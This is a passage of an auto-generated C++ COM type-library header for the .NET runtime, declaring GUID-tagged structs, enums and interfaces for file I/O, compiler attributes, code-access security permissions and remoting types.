interface IRegistrationServices struct __declspec(uuid("4be89ac3-603d-36b2-ab9b-9c38866f56d5")) SafeArrayRankMismatchException; // [ default ] interface _SafeArrayRankMismatchException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("2d5ec63c-1b3e-3ee4-9052-eb0d0303549c")) SafeArrayTypeMismatchException; // [ default ] interface _SafeArrayTypeMismatchException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("f1c3bf79-c3e4-11d3-88e7-00902754c43a")) TypeLibConverter; // interface _Object // [ default ] interface ITypeLibConverter struct __declspec(uuid("887d4d94-31d1-37f3-9938-643ed2a46155")) UnknownWrapper; // [ default ] interface _UnknownWrapper // interface _Object struct __declspec(uuid("08416c5b-a003-327c-9f0f-93942467e6e0")) TextWriter; // [ default ] interface _TextWriter // interface _Object // interface IDisposable struct __declspec(uuid("e331083b-c22d-3046-8ec7-d222d6be031f")) Stream; // [ default ] interface _Stream // interface _Object // interface IDisposable struct __declspec(uuid("2484afda-7b47-3cd7-97b5-951f5c6ab5b6")) BinaryReader; // [ default ] interface _BinaryReader // interface _Object // interface IDisposable struct __declspec(uuid("d92ccd03-5c88-3339-8011-46e8b01a2ba8")) BinaryWriter; // [ default ] interface _BinaryWriter // interface _Object // interface IDisposable struct __declspec(uuid("1500abc0-1dd4-37dd-985f-82430314c798")) BufferedStream; // [ default ] interface _BufferedStream // interface _Object // interface IDisposable struct __declspec(uuid("0ebd869e-64bf-3682-80bb-690a70114be0")) Directory; // [ default ] interface _Directory // interface _Object struct __declspec(uuid("1f0e8db5-8f52-3360-8a47-9d3dc3a5acaf")) FileSystemInfo; // [ default ] interface _FileSystemInfo // interface _Object // interface ISerializable struct __declspec(uuid("40a8b2fa-e055-3f59-8ba6-54c4e35649b5")) DirectoryInfo; // [ default ] interface _DirectoryInfo // interface _Object // interface ISerializable enum __declspec(uuid("8d583b4d-52c8-3243-829e-999d660d3947")) SearchOption { SearchOption_TopDirectoryOnly = 0, SearchOption_AllDirectories = 1 }; struct __declspec(uuid("a164c0bf-67ae-3c7e-bc05-bfe24a8cdb62")) IOException; // [ default ] interface _IOException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("8833bc41-dc6b-34b9-a799-682d2554f02f")) DirectoryNotFoundException; // [ default ] interface _DirectoryNotFoundException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("72e8197d-904b-3371-ae0e-b70d9d53771c")) DriveType { DriveType_Unknown = 0, DriveType_NoRootDirectory = 1, DriveType_Removable = 2, DriveType_Fixed = 3, DriveType_Network = 4, DriveType_CDRom = 5, DriveType_Ram = 6 }; struct __declspec(uuid("b7c87928-b1ad-35ce-aa58-3dc3aab7ac67")) DriveInfo; // [ default ] interface _DriveInfo // interface _Object // interface ISerializable struct __declspec(uuid("a8f9f740-70c9-30a7-937c-59785a9bb5a4")) DriveNotFoundException; // [ default ] interface _DriveNotFoundException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("58d052bc-a3df-3508-ac95-ff297bdc9f0c")) EndOfStreamException; // [ default ] interface _EndOfStreamException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("2a96793e-4cf3-3976-a893-b66886d89a03")) File; // [ default ] interface _File // interface _Object enum __declspec(uuid("74caa246-be0e-3ae5-a17c-946e10d89626")) FileAccess { FileAccess_Read = 1, FileAccess_Write = 2, FileAccess_ReadWrite = 3 }; struct __declspec(uuid("d6dffead-0b46-3ded-83de-1943413b94d5")) FileInfo; // [ default ] interface _FileInfo // interface _Object // interface ISerializable struct __declspec(uuid("af8c5f8a-9999-3e92-bb41-c5f4955174cd")) FileLoadException; // [ default ] interface _FileLoadException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("f9a5bd62-8da3-3b2d-a556-864cdad150f6")) FileMode { FileMode_CreateNew = 1, FileMode_Create = 2, FileMode_Open = 3, FileMode_OpenOrCreate = 4, FileMode_Truncate = 5, FileMode_Append = 6 }; struct __declspec(uuid("48c6e96f-a2f3-33e7-ba7f-c8f74866760b")) FileNotFoundException; // [ default ] interface _FileNotFoundException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("68db6e95-f774-3ae3-b1de-b0cc80f6e174")) FileOptions { FileOptions_None = 0, FileOptions_WriteThrough = 0x80000000, FileOptions_Asynchronous = 1073741824, FileOptions_RandomAccess = 268435456, FileOptions_DeleteOnClose = 67108864, FileOptions_SequentialScan = 134217728, FileOptions_Encrypted = 16384 }; enum __declspec(uuid("791ec67c-5a1b-35fd-832d-80b02d07ed6d")) FileShare { FileShare_None = 0, FileShare_Read = 1, FileShare_Write = 2, FileShare_ReadWrite = 3, FileShare_Delete = 4, FileShare_Inheritable = 16 }; struct __declspec(uuid("7f25e491-33be-31e2-a334-cb506d4ee471")) FileStream; // [ default ] interface _FileStream // interface _Object // interface IDisposable enum __declspec(uuid("38512cf6-ff94-3ad8-8299-f5f64a8956aa")) FileAttributes { FileAttributes_ReadOnly = 1, FileAttributes_Hidden = 2, FileAttributes_System = 4, FileAttributes_Directory = 16, FileAttributes_Archive = 32, FileAttributes_Device = 64, FileAttributes_Normal = 128, FileAttributes_Temporary = 256, FileAttributes_SparseFile = 512, FileAttributes_ReparsePoint = 1024, FileAttributes_Compressed = 2048, FileAttributes_Offline = 4096, FileAttributes_NotContentIndexed = 8192, FileAttributes_Encrypted = 16384 }; struct __declspec(uuid("f5e692d9-8a87-349d-9657-f96e5799d2f4")) MemoryStream; // [ default ] interface _MemoryStream // interface _Object // interface IDisposable struct __declspec(uuid("b7ae0cae-979e-3ebf-b33f-8f121dafd78e")) Path; // [ default ] interface _Path // interface _Object struct __declspec(uuid("c016a313-9606-36d3-a823-33ebf5006189")) PathTooLongException; // [ default ] interface _PathTooLongException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("0cfe1abf-373d-3208-85c2-947434046704")) SeekOrigin { SeekOrigin_Begin = 0, SeekOrigin_Current = 1, SeekOrigin_End = 2 }; struct __declspec(uuid("7457d481-248a-3c89-b7e0-fceb8fd827e5")) TextReader; // [ default ] interface _TextReader // interface _Object // interface IDisposable struct __declspec(uuid("405fb68b-360d-382c-8a64-1da3c853d161")) StreamReader; // [ default ] interface _StreamReader // interface _Object // interface IDisposable struct __declspec(uuid("ef1ab726-0b87-3e09-aef4-3a87c5dcdda0")) StreamWriter; // [ default ] interface _StreamWriter // interface _Object // interface IDisposable struct __declspec(uuid("0247d5af-d61d-341c-8615-0ff28865b7cb")) StringReader; // [ default ] interface _StringReader // interface _Object // interface IDisposable struct __declspec(uuid("27f31d55-d6c6-3676-9d42-c40f3a918636")) StringWriter; // [ default ] interface _StringWriter // interface _Object // interface IDisposable struct __declspec(uuid("5efb687d-2b50-3216-bd74-52d06c8d3cd1")) AccessedThroughPropertyAttribute; // [ default ] interface _AccessedThroughPropertyAttribute // interface _Object // interface _Attribute struct __declspec(uuid("a3a1f076-1fa7-3a26-886d-8841cb45382f")) CallConvCdecl; // [ default ] interface _CallConvCdecl // interface _Object struct __declspec(uuid("bcb67d4d-2096-36be-974c-a003fc95041b")) CallConvStdcall; // [ default ] interface _CallConvStdcall // interface _Object struct __declspec(uuid("46080ca7-7cb8-3a55-a72e-8e50eca4d4fc")) CallConvThiscall; // [ default ] interface _CallConvThiscall // interface _Object struct __declspec(uuid("ed0bc45c-2438-31a9-bbb6-e2a3b5916419")) CallConvFastcall; // [ default ] interface _CallConvFastcall // interface _Object struct __declspec(uuid("6f7a3516-efd9-31c3-bc9a-a89df19f64e7")) CustomConstantAttribute; // [ default ] interface _CustomConstantAttribute // interface _Object // interface _Attribute struct __declspec(uuid("3178fd5d-2a5b-30b9-9c5c-7593802f9c1a")) DateTimeConstantAttribute; // [ default ] interface _DateTimeConstantAttribute // interface _Object // interface _Attribute struct __declspec(uuid("837a6733-1675-3bc9-bbf8-13889f84daf4")) DiscardableAttribute; // [ default ] interface _DiscardableAttribute // interface _Object // interface _Attribute struct __declspec(uuid("ac8de863-b115-3179-810f-162b43abd2b5")) DecimalConstantAttribute; // [ default ] interface _DecimalConstantAttribute // interface _Object // interface _Attribute enum __declspec(uuid("1e552dae-602e-3cb5-9bfa-22aeb1fc38a5")) CompilationRelaxations { CompilationRelaxations_NoStringInterning = 8 }; struct __declspec(uuid("76cec05b-c55e-3adf-92a2-0698f1cf2017")) CompilationRelaxationsAttribute; // [ default ] interface _CompilationRelaxationsAttribute // interface _Object // interface _Attribute struct __declspec(uuid("4b601364-a04b-38bc-bd38-a18e981324cf")) CompilerGlobalScopeAttribute; // [ default ] interface _CompilerGlobalScopeAttribute // interface _Object // interface _Attribute struct __declspec(uuid("9599c078-dc94-3ea2-8761-408295bd1155")) IndexerNameAttribute; // [ default ] interface _IndexerNameAttribute // interface _Object // interface _Attribute struct __declspec(uuid("86527c04-536a-33c6-8c84-3d5a5b458db3")) IsVolatile; // [ default ] interface _IsVolatile // interface _Object enum __declspec(uuid("63a2e7fd-9a9b-3d6b-a827-3c5bf8db1e6a")) MethodImplOptions { MethodImplOptions_Unmanaged = 4, MethodImplOptions_ForwardRef = 16, MethodImplOptions_PreserveSig = 128, MethodImplOptions_InternalCall = 4096, MethodImplOptions_Synchronized = 32, MethodImplOptions_NoInlining = 8, MethodImplOptions_NoOptimization = 64 }; enum __declspec(uuid("6b7f18ae-f5ac-368f-8dfd-ab5e2d229ed7")) MethodCodeType { MethodCodeType_IL = 0, MethodCodeType_Native = 1, MethodCodeType_OPTIL = 2, MethodCodeType_Runtime = 3 }; struct __declspec(uuid("48d0cfe7-3128-3d2c-a5b5-8c7b82b4ab4f")) MethodImplAttribute; // [ default ] interface _MethodImplAttribute // interface _Object // interface _Attribute struct __declspec(uuid("d49c12a2-c401-3894-8005-716c2f692d38")) RequiredAttributeAttribute; // [ default ] interface _RequiredAttributeAttribute // interface _Object // interface _Attribute struct __declspec(uuid("2d6b9536-e9ca-317c-b62f-8e5876351e10")) IsCopyConstructed; // [ default ] interface _IsCopyConstructed // interface _Object struct __declspec(uuid("c437ab2e-865b-321d-ba15-0c8ec4ca119b")) NativeCppClassAttribute; // [ default ] interface _NativeCppClassAttribute // interface _Object // interface _Attribute struct __declspec(uuid("e947a0b0-d47f-3aa3-9b77-4624e0f3aca4")) IDispatchConstantAttribute; // [ default ] interface _IDispatchConstantAttribute // interface _Object // interface _Attribute struct __declspec(uuid("590e4a07-dafc-3be7-a178-da349bba980b")) IUnknownConstantAttribute; // [ default ] interface _IUnknownConstantAttribute // interface _Object // interface _Attribute struct __declspec(uuid("b9033cd1-c905-3059-9d29-562ecb13b0b3")) SecurityElement; // [ default ] interface _SecurityElement // interface _Object struct __declspec(uuid("e38da416-8050-3786-8201-46f187c15213")) XmlSyntaxException; // [ default ] interface _XmlSyntaxException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("ec73fceb-1aea-3a57-b953-21368e992507")) EnvironmentPermissionAccess { EnvironmentPermissionAccess_NoAccess = 0, EnvironmentPermissionAccess_Read = 1, EnvironmentPermissionAccess_Write = 2, EnvironmentPermissionAccess_AllAccess = 3 }; struct __declspec(uuid("a19b3fc6-d680-3dd4-a17a-f58a7d481494")) IPermission : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Copy ( /*[out,retval]*/ struct IPermission * * pRetVal ) = 0; virtual HRESULT __stdcall Intersect ( /*[in]*/ struct IPermission * Target, /*[out,retval]*/ struct IPermission * * pRetVal ) = 0; virtual HRESULT __stdcall Union ( /*[in]*/ struct IPermission * Target, /*[out,retval]*/ struct IPermission * * pRetVal ) = 0; virtual HRESULT __stdcall IsSubsetOf ( /*[in]*/ struct IPermission * Target, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall Demand ( ) = 0; }; struct __declspec(uuid("60fc57b0-4a46-32a0-a5b4-b05b0de8e781")) IStackWalk : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Assert ( ) = 0; virtual HRESULT __stdcall Demand ( ) = 0; virtual HRESULT __stdcall Deny ( ) = 0; virtual HRESULT __stdcall PermitOnly ( ) = 0; }; struct __declspec(uuid("af6550fa-7c4b-3477-86dd-235f8286eaac")) CodeAccessPermission; // [ default ] interface _CodeAccessPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk struct __declspec(uuid("0f1284e6-4399-3963-8ddd-a6a4904f66c8")) IUnrestrictedPermission : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall IsUnrestricted ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("801f6e40-b384-3d27-b75f-de2df38f1192")) EnvironmentPermission; // [ default ] interface _EnvironmentPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk // interface IUnrestrictedPermission enum __declspec(uuid("0df04a9b-dddc-3777-a6b1-9604b5ced191")) FileDialogPermissionAccess { FileDialogPermissionAccess_None = 0, FileDialogPermissionAccess_Open = 1, FileDialogPermissionAccess_Save = 2, FileDialogPermissionAccess_OpenSave = 3 }; struct __declspec(uuid("9e1239b4-493a-3d2d-8f91-6636ec9eca21")) FileDialogPermission; // [ default ] interface _FileDialogPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk // interface IUnrestrictedPermission enum __declspec(uuid("ca10c1a1-9fdc-36a3-ad74-8fac60e6541c")) FileIOPermissionAccess { FileIOPermissionAccess_NoAccess = 0, FileIOPermissionAccess_Read = 1, FileIOPermissionAccess_Write = 2, FileIOPermissionAccess_Append = 4, FileIOPermissionAccess_PathDiscovery = 8, FileIOPermissionAccess_AllAccess = 15 }; struct __declspec(uuid("dc50cd5a-0cad-3b47-bf0d-79e85f3c2fc7")) FileIOPermission; // [ default ] interface _FileIOPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk // interface IUnrestrictedPermission enum __declspec(uuid("4548a129-2855-35e8-a892-ff506c877aa8")) HostProtectionResource { HostProtectionResource_None = 0, HostProtectionResource_Synchronization = 1, HostProtectionResource_SharedState = 2, HostProtectionResource_ExternalProcessMgmt = 4, HostProtectionResource_SelfAffectingProcessMgmt = 8, HostProtectionResource_ExternalThreading = 16, HostProtectionResource_SelfAffectingThreading = 32, HostProtectionResource_SecurityInfrastructure = 64, HostProtectionResource_UI = 128, HostProtectionResource_MayLeakOnAbort = 256, HostProtectionResource_All = 511 }; struct __declspec(uuid("47dcd758-df63-3226-a3a9-b0b88872a311")) SecurityAttribute; // [ default ] interface _SecurityAttribute // interface _Object // interface _Attribute struct __declspec(uuid("21858390-fe95-33a9-a103-f322c64d85ae")) CodeAccessSecurityAttribute; // [ default ] interface _CodeAccessSecurityAttribute // interface _Object // interface _Attribute struct __declspec(uuid("ad664904-fe8a-3217-bbf5-e6ab1d998f5f")) HostProtectionAttribute; // [ default ] interface _HostProtectionAttribute // interface _Object // interface _Attribute enum __declspec(uuid("0d6e31df-3a76-3054-a8eb-150e92300f89")) IsolatedStorageContainment { IsolatedStorageContainment_None = 0, IsolatedStorageContainment_DomainIsolationByUser = 16, IsolatedStorageContainment_ApplicationIsolationByUser = 21, IsolatedStorageContainment_AssemblyIsolationByUser = 32, IsolatedStorageContainment_DomainIsolationByMachine = 48, IsolatedStorageContainment_AssemblyIsolationByMachine = 64, IsolatedStorageContainment_ApplicationIsolationByMachine = 69, IsolatedStorageContainment_DomainIsolationByRoamingUser = 80, IsolatedStorageContainment_AssemblyIsolationByRoamingUser = 96, IsolatedStorageContainment_ApplicationIsolationByRoamingUser = 101, IsolatedStorageContainment_AdministerIsolatedStorageByUser = 112, IsolatedStorageContainment_UnrestrictedIsolatedStorage = 240 }; struct __declspec(uuid("f458abf2-2b5e-3158-b0e4-228e8cdcf759")) IsolatedStoragePermission; // [ default ] interface _IsolatedStoragePermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk // interface IUnrestrictedPermission struct __declspec(uuid("ae588447-d98e-3e39-96f7-073433db8d35")) IsolatedStorageFilePermission; // [ default ] interface _IsolatedStorageFilePermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk // interface IUnrestrictedPermission enum __declspec(uuid("dfaecf33-4728-382d-a34d-c1b0392f8b73")) PermissionState { PermissionState_Unrestricted = 1, PermissionState_None = 0 }; enum __declspec(uuid("ba99ae52-d539-362f-b78c-4e84c14158bf")) SecurityAction { SecurityAction_Demand = 2, SecurityAction_Assert = 3, SecurityAction_Deny = 4, SecurityAction_PermitOnly = 5, SecurityAction_LinkDemand = 6, SecurityAction_InheritanceDemand = 7, SecurityAction_RequestMinimum = 8, SecurityAction_RequestOptional = 9, SecurityAction_RequestRefuse = 10 }; struct __declspec(uuid("6161df0c-cd78-33e1-b3e1-978b27025e40")) EnvironmentPermissionAttribute; // [ default ] interface _EnvironmentPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("a141f926-e6b5-3903-8efa-1014d4970f1c")) FileDialogPermissionAttribute; // [ default ] interface _FileDialogPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("de440c06-7ec3-3e59-83c8-3829090198f7")) FileIOPermissionAttribute; // [ default ] interface _FileIOPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("f40ffbd5-4ca8-333e-8706-29f13fb8d4d6")) KeyContainerPermissionAttribute; // [ default ] interface _KeyContainerPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("6d0ae73b-ed58-32e2-973c-765897783971")) PrincipalPermissionAttribute; // [ default ] interface _PrincipalPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("64578750-937f-3b27-b631-c57e0bfff97f")) ReflectionPermissionAttribute; // [ default ] interface _ReflectionPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("f69cf20d-f85b-3436-9e0e-dd3cb3e8b2cd")) RegistryPermissionAttribute; // [ default ] interface _RegistryPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("5e77314c-043d-3d8c-9c9d-d18f09fb3500")) SecurityPermissionAttribute; // [ default ] interface _SecurityPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("5f4ed054-c453-3d2b-a0fe-64e89871d364")) UIPermissionAttribute; // [ default ] interface _UIPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("c386115f-2b99-356b-b4a1-2cf57ce52988")) ZoneIdentityPermissionAttribute; // [ default ] interface _ZoneIdentityPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("ef2c9de4-bcda-3322-ae75-16cc3ec2665c")) StrongNameIdentityPermissionAttribute; // [ default ] interface _StrongNameIdentityPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("23f73179-6349-3183-a55c-bcfb1a2446e8")) SiteIdentityPermissionAttribute; // [ default ] interface _SiteIdentityPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("6852be7d-8c00-3f66-bee3-463f74838491")) UrlIdentityPermissionAttribute; // [ default ] interface _UrlIdentityPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("2335c1da-cd60-3208-ab5e-447f16a087e5")) PublisherIdentityPermissionAttribute; // [ default ] interface _PublisherIdentityPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("a56859a3-98ed-39a9-bd33-5807f0d6291f")) IsolatedStoragePermissionAttribute; // [ default ] interface _IsolatedStoragePermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("f6610df3-8d62-38bd-bf6b-2a4ba839eb3b")) IsolatedStorageFilePermissionAttribute; // [ default ] interface _IsolatedStorageFilePermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("24151ba6-6d79-3ec4-8c77-014ffbe735ae")) PermissionSetAttribute; // [ default ] interface _PermissionSetAttribute // interface _Object // interface _Attribute enum __declspec(uuid("44c2f476-9e95-3d5a-b666-fdbef071494e")) ReflectionPermissionFlag { ReflectionPermissionFlag_NoFlags = 0, ReflectionPermissionFlag_TypeInformation = 1, ReflectionPermissionFlag_MemberAccess = 2, ReflectionPermissionFlag_ReflectionEmit = 4, ReflectionPermissionFlag_AllFlags = 7 }; struct __declspec(uuid("e71cdc85-7fe7-3f51-bcdb-02459770db87")) ReflectionPermission; // [ default ] interface _ReflectionPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk // interface IUnrestrictedPermission struct __declspec(uuid("67100ade-60cf-33f1-8d95-f6fe1174458a")) PrincipalPermission; // [ default ] interface _PrincipalPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IUnrestrictedPermission enum __declspec(uuid("b718f0f8-e5e7-3651-a2be-97009b568250")) SecurityPermissionFlag { SecurityPermissionFlag_NoFlags = 0, SecurityPermissionFlag_Assertion = 1, SecurityPermissionFlag_UnmanagedCode = 2, SecurityPermissionFlag_SkipVerification = 4, SecurityPermissionFlag_Execution = 8, SecurityPermissionFlag_ControlThread = 16, SecurityPermissionFlag_ControlEvidence = 32, SecurityPermissionFlag_ControlPolicy = 64, SecurityPermissionFlag_SerializationFormatter = 128, SecurityPermissionFlag_ControlDomainPolicy = 256, SecurityPermissionFlag_ControlPrincipal = 512, SecurityPermissionFlag_ControlAppDomain = 1024, SecurityPermissionFlag_RemotingConfiguration = 2048, SecurityPermissionFlag_Infrastructure = 4096, SecurityPermissionFlag_BindingRedirects = 8192, SecurityPermissionFlag_AllFlags = 16383 }; struct __declspec(uuid("d5f5125a-3d46-3c57-8393-0e4ee9d8016b")) SecurityPermission; // [ default ] interface _SecurityPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk // interface IUnrestrictedPermission struct __declspec(uuid("3bcfc458-07dc-3ba7-8404-97eb76641080")) SiteIdentityPermission; // [ default ] interface _SiteIdentityPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk struct __declspec(uuid("2b00b9ec-b4f4-3243-90ab-532e64fee941")) StrongNameIdentityPermission; // [ default ] interface _StrongNameIdentityPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk struct __declspec(uuid("a463394f-7ba6-3721-8ad8-842748612b4c")) StrongNamePublicKeyBlob; // [ default ] interface _StrongNamePublicKeyBlob // interface _Object enum __declspec(uuid("b30fd15e-ced6-3977-8151-0d50e79cd703")) UIPermissionWindow { UIPermissionWindow_NoWindows = 0, UIPermissionWindow_SafeSubWindows = 1, UIPermissionWindow_SafeTopLevelWindows = 2, UIPermissionWindow_AllWindows = 3 }; enum __declspec(uuid("9e5c3c99-d046-3fe5-9921-21cf0f0a08ff")) UIPermissionClipboard { UIPermissionClipboard_NoClipboard = 0, UIPermissionClipboard_OwnClipboard = 1, UIPermissionClipboard_AllClipboard = 2 }; struct __declspec(uuid("05b46a2d-7c6b-3eff-a09a-1490a36811c2")) UIPermission; // [ default ] interface _UIPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk // interface IUnrestrictedPermission struct __declspec(uuid("ab7d1ab9-d192-3a95-b34c-a3996837c6a7")) UrlIdentityPermission; // [ default ] interface _UrlIdentityPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk struct __declspec(uuid("caeb199e-ceb9-388a-b240-e29c9f55199b")) ZoneIdentityPermission; // [ default ] interface _ZoneIdentityPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk struct __declspec(uuid("52f1a8f3-7c7c-3c08-848b-8ab0ea946959")) GacIdentityPermissionAttribute; // [ default ] interface _GacIdentityPermissionAttribute // interface _Object // interface _Attribute struct __declspec(uuid("29a6cf6f-d663-31a7-9210-1347871681fc")) GacIdentityPermission; // [ default ] interface _GacIdentityPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk enum __declspec(uuid("742bdc16-f04e-3e0e-8ff1-e3250940b5bf")) KeyContainerPermissionFlags { KeyContainerPermissionFlags_NoFlags = 0, KeyContainerPermissionFlags_Create = 1, KeyContainerPermissionFlags_Open = 2, KeyContainerPermissionFlags_Delete = 4, KeyContainerPermissionFlags_Import = 16, KeyContainerPermissionFlags_Export = 32, KeyContainerPermissionFlags_Sign = 256, KeyContainerPermissionFlags_Decrypt = 512, KeyContainerPermissionFlags_ViewAcl = 4096, KeyContainerPermissionFlags_ChangeAcl = 8192, KeyContainerPermissionFlags_AllFlags = 13111 }; struct __declspec(uuid("ab32dbc6-3d50-3098-8b72-fe98ba5cefba")) KeyContainerPermissionAccessEntry; // [ default ] interface _KeyContainerPermissionAccessEntry // interface _Object struct __declspec(uuid("a9b28590-073c-392c-82f4-b47fd3d00ec3")) KeyContainerPermissionAccessEntryCollection; // [ default ] interface _KeyContainerPermissionAccessEntryCollection // interface _Object // interface ICollection // interface IEnumerable struct __declspec(uuid("616e9d9e-ee8a-35e6-a0a1-8bf70d536b02")) KeyContainerPermissionAccessEntryEnumerator; // [ default ] interface _KeyContainerPermissionAccessEntryEnumerator // interface _Object // interface IEnumerator struct __declspec(uuid("2d91f34b-85ec-33e5-a32e-752d8219404d")) KeyContainerPermission; // [ default ] interface _KeyContainerPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk // interface IUnrestrictedPermission struct __declspec(uuid("73cf786b-cd2c-37e4-9835-824e4a019f11")) PublisherIdentityPermission; // [ default ] interface _PublisherIdentityPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk enum __declspec(uuid("3eb29914-f9a9-3c15-a03f-560885cfcb61")) RegistryPermissionAccess { RegistryPermissionAccess_NoAccess = 0, RegistryPermissionAccess_Read = 1, RegistryPermissionAccess_Write = 2, RegistryPermissionAccess_Create = 4, RegistryPermissionAccess_AllAccess = 7 }; struct __declspec(uuid("b35e31f2-9e50-3d43-8eaf-ec111f6b3295")) RegistryPermission; // [ default ] interface _RegistryPermission // interface _Object // interface IPermission // interface ISecurityEncodable // interface IStackWalk // interface IUnrestrictedPermission struct __declspec(uuid("7ae01d6c-bee7-38f6-9a86-329d8a917803")) SuppressUnmanagedCodeSecurityAttribute; // [ default ] interface _SuppressUnmanagedCodeSecurityAttribute // interface _Object // interface _Attribute struct __declspec(uuid("7e3393ab-2ab2-320b-8f6f-eab6f5cf2caf")) UnverifiableCodeAttribute; // [ default ] interface _UnverifiableCodeAttribute // interface _Object // interface _Attribute struct __declspec(uuid("5610f042-ff1d-36d0-996c-68f7a207d1f0")) AllowPartiallyTrustedCallersAttribute; // [ default ] interface _AllowPartiallyTrustedCallersAttribute // interface _Object // interface _Attribute enum __declspec(uuid("51e1b3ca-d3cb-39bf-a016-6199569e74b2")) HostSecurityManagerOptions { HostSecurityManagerOptions_None = 0, HostSecurityManagerOptions_HostAppDomainEvidence = 1, HostSecurityManagerOptions_HostPolicyLevel = 2, HostSecurityManagerOptions_HostAssemblyEvidence = 4, HostSecurityManagerOptions_HostDetermineApplicationTrust = 8, HostSecurityManagerOptions_HostResolvePolicy = 16, HostSecurityManagerOptions_AllFlags = 31 }; struct __declspec(uuid("84589833-40d7-36e2-8545-67a92b97c408")) HostSecurityManager; // [ default ] interface _HostSecurityManager // interface _Object struct __declspec(uuid("afafd122-dac4-3ff9-9646-dc032a4a8806")) PermissionSet; // [ default ] interface _PermissionSet // interface _Object // interface ISecurityEncodable // interface ICollection // interface IEnumerable // interface IStackWalk // interface IDeserializationCallback struct __declspec(uuid("c23e56ce-0a9a-3733-8189-46b43c9e4fb3")) NamedPermissionSet; // [ default ] interface _NamedPermissionSet // interface _Object // interface ISecurityEncodable // interface ICollection // interface IEnumerable // interface IStackWalk // interface IDeserializationCallback struct __declspec(uuid("eef05c76-5c98-3685-a69c-6e1a26a7f846")) SecurityException; // [ default ] interface _SecurityException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("ecc82a10-b731-3a01-8a17-ac0ddd7666cf")) HostProtectionException; // [ default ] interface _HostProtectionException // interface _Object // interface ISerializable // interface _Exception enum __declspec(uuid("ee965595-853a-331b-9cd0-d53dcce3b6f8")) PolicyLevelType { PolicyLevelType_User = 0, PolicyLevelType_Machine = 1, PolicyLevelType_Enterprise = 2, PolicyLevelType_AppDomain = 3 }; struct __declspec(uuid("df4e1bb0-8cdc-3c4b-a1c9-fee64bbef8c5")) SecurityManager; // [ default ] interface _SecurityManager // interface _Object enum __declspec(uuid("902a6b65-41bd-32f1-a233-075f009d459c")) SecurityZone { SecurityZone_MyComputer = 0, SecurityZone_Intranet = 1, SecurityZone_Trusted = 2, SecurityZone_Internet = 3, SecurityZone_Untrusted = 4, SecurityZone_NoZone = -1 }; struct __declspec(uuid("ebaa029c-01c0-32b6-aae6-fe21adfc3e5d")) VerificationException; // [ default ] interface _VerificationException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("1764148e-73c1-320a-83fc-337de81a68b4")) ContextAttribute; // [ default ] interface _ContextAttribute // interface _Object // interface _Attribute // interface IContextAttribute // interface IContextProperty struct __declspec(uuid("614e973a-b737-38f5-9ddf-5825ac923135")) AsyncResult; // [ default ] interface _AsyncResult // interface _Object // interface IAsyncResult // interface IMessageSink struct __declspec(uuid("d625ba4c-7c4c-3b86-99ea-780204ede5cd")) ChannelServices; // [ default ] interface _ChannelServices // interface _Object struct __declspec(uuid("dd5856e5-8151-3334-b8e9-07cb152b20a4")) ClientChannelSinkStack; // [ default ] interface _ClientChannelSinkStack // interface _Object // interface IClientChannelSinkStack // interface IClientResponseChannelSinkStack struct __declspec(uuid("5c35f099-165e-3225-a3a5-564150ea17f5")) ServerChannelSinkStack; // [ default ] interface _ServerChannelSinkStack // interface _Object // interface IServerChannelSinkStack // interface IServerResponseChannelSinkStack struct __declspec(uuid("fd8c8fce-4f85-36b2-b8e8-f5a183654539")) ClientSponsor; // [ default ] interface _ClientSponsor // interface _Object // interface ISponsor enum __declspec(uuid("669212cb-7972-3073-bdb0-6782534b6590")) WellKnownObjectMode { 